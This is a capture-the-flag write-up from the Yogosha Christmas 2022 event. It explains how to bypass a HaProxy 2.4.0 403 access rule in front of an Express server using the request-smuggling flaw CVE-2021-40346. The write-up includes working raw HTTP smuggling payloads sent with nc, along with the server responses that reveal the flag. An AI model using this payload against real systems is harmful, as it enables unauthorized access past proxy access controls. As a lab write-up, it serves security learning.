title: Secret Hideout
date: Dec 25, 2022
tags: Writeup YogoshaChristmas_2022 Web

Secret Hideout

Difficulty: 500 points | 42 solves

Description: Congrats! You made it to kara secret hideout, we confirmed that you are a member in our organization since all the shinobis nowadays are weak o// Have a look and release the seal.

Table of content

🕵️ Recon

This challenge was the 2nd step of the CTF. For this step, we have to access the /secret endpoint. The website looks like this:


Home page


Secret page

To bypass a 403 page, there are 2 ways to go:

For this challenge, we will go for the second option. To find the technologies that are used, we could look for 404 error page and response headers:


404 page


Response headers

💥 CVE-2021-40346 | HaProxy 403 Bypass

From the recon, we know that HaProxy 2.4.0 is used in front of the express server. Looking for known CVE that leads to 403 bypass brings us to find the CVE-2021-40346. This vulnerability abuse an int overflow in Content-Length HTTP headers to embed a query inside another one leading to all the HaProxy rules. For more details about the vulnerability, feel free to read jfrog's research: link.

This vulnerability can be exploit this way:

~ cat poc 
Content-Length: 24

GET /secret HTTP/1.1
h:GET / HTTP/1.1

~ cat poc | nc 80

Unfortunately for us, this wasn't working. To solve this issue, we had to add a sleep between the first and second request. In my opinion, this is due to connection timeout on HaProxy side which waits for 28 bytes even if there is the vulnerability. Thus, adding a delais stop the body reading and unforce the exploit to occur.

(printf "POST / HTTP/1.1\r\n"\
"Content-Length: 28\r\n\r\n"; sleep 1;
printf "GET /secret HTTP/1.1\r\n"\
"DUMMY:"; sleep 1; printf "GET / HTTP/1.1\r\n"\
"Host:\r\n\r\n") | nc 80

🎉 Flag

Running the above script gives us:

HTTP/1.1 404 Not Found
x-powered-by: Express
content-security-policy: default-src 'none'
x-content-type-options: nosniff
content-type: text/html; charset=utf-8
content-length: 140
date: Fri, 23 Dec 2022 17:31:01 GMT
x-server: HaProxy-2.4.0

<!DOCTYPE html>
<html lang="en">
<meta charset="utf-8">
<pre>Cannot POST /</pre>
HTTP/1.1 200 OK
x-powered-by: Express
content-type: text/html; charset=utf-8
content-length: 135
etag: W/"87-c3nQ3bcJ+C/Jp4b9eSpEmQE6Ldk"
date: Fri, 23 Dec 2022 17:31:02 GMT
x-server: HaProxy-2.4.0

Our next plan is to kill Boruto, son of the legend Naruto! Find more hints using this secret FLAG{ACL_Bypass_WiTh_SmuGGlinG_For_B0rUt0}

Flag: FLAG{ACL_Bypass_WiTh_SmuGGlinG_For_B0rUt0} 🎉